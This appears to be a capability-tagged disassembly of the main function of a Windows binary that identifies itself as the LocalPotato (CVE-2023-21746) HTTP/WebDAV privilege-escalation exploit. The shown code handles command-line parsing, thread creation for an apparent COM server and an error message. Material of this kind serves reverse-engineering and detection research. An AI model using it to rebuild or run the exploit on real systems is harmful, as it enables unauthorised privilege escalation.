Function at 0x14001102d
Capabilities:
Create thread
Terminate process

Disassembly:
jmp 0x140016270
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x210
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x48
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x238]
mov rax, qword [0x14002e040]
xor rax, rbp
mov qword [rbp + 0x1d8], rax
lea rcx, [0x1400343ba]
call fcn.14001166d
nop
lea rcx, str._n_n_t_LocalPotato__aka_CVE_2023_21746__HTTP_WebDAV___n
call fcn.1400112e9
nop
lea rcx, str._t_by_splinter_code__decoder_it_n_n
call fcn.1400112e9
nop
lea rax, [rbp + 0x10]
lea rcx, str.854A20FB_2D44_457D_992F_EF13785D2B51
mov rdi, rax
mov rsi, rcx
mov ecx, 0x4e
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x78]
lea rcx, str.10247
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x10]
mov qword [rbp + 0xa8], rax
lea rax, [rbp + 0x78]
mov qword [rbp + 0xc8], rax
mov dword [rbp + 0x104], 1
cmp dword [rbp + 0x200], 1
jle 0x1400165b1
movsxd rax, dword [rbp + 0x104]
mov ecx, 2
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x208]
mov rax, qword [rdx + rax*8]
movzx eax, word [rax + rcx]
cmp eax, 0x2d
jne 0x1400165b1
movsxd rax, dword [rbp + 0x104]
mov ecx, 2
imul rcx, rcx, 1
mov rdx, qword [rbp + 0x208]
mov rax, qword [rdx + rax*8]
movzx eax, word [rax + rcx]
mov dword [rbp + 0x1d4], eax
mov eax, dword [rbp + 0x1d4]
sub eax, 0x63
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0x12
ja case.0x1400163b6.1
movsxd rax, dword [rbp + 0x1d4]
lea rcx, [0x140000000]
mov eax, dword [rcx + rax*4 + 0x166fc]
add rax, rcx
jmp rax
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0xa8], rax
jmp 0x140016590
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0xc8], rax
jmp 0x140016590
call fcn.140011663
nop
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
movzx eax, word [rax]
cmp eax, 0x5c
jne 0x140016499
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
add rax, 2
movsxd rcx, dword [rbp + 0x104]
mov rdx, qword [rbp + 0x208]
mov qword [rdx + rcx*8], rax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [0x14002e5f8], rax
jmp 0x140016590
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [0x14002e600], rax
jmp 0x140016590
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [0x14002e610], rax
jmp 0x140016590
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [0x14002e608], rax
jmp 0x140016590
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rdx, qword [rcx + rax*8]
lea rcx, str.Wrong_Argument:__S_n
call fcn.1400112e9
nop
call fcn.140011663
nop
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
nop
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
jmp 0x140016328
cmp qword [0x14002e5f8], 0
jne 0x1400165d5
cmp qword [0x14002e608], 0
jne 0x1400165d5
call fcn.140011663
nop
mov eax, 1
jmp 0x1400166ca
cmp qword [0x14002e5f8], 0
je 0x1400165f9
cmp qword [0x14002e600], 0
jne 0x1400165f9
call fcn.140011663
nop
mov eax, 1
jmp 0x1400166ca
cmp qword [0x14002e608], 0
je 0x14001661d
cmp qword [0x14002e610], 0
jne 0x14001661d
call fcn.140011663
nop
mov eax, 1
jmp 0x1400166ca
cmp qword [0x14002e5f8], 0
je 0x140016655
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011645]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xe8], rax
jmp 0x140016681
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001131b]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xe8], rax
call fcn.140011604
nop
mov r8, qword [rbp + 0xe8]
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xa8]
call fcn.140011523
nop
mov edx, 0xbb8
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x1400166c8
lea rcx, str.____The_privileged_process_failed_to_communicate_with_our_COM_Server_:_
call fcn.1400112e9
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140026f50]
call fcn.140011582
mov rax, rdi
mov rcx, qword [rbp + 0x1d8]
xor rcx, rbp
call fcn.140011307
lea rsp, [rbp + 0x1e0]
pop rdi
pop rsi
pop rbp
ret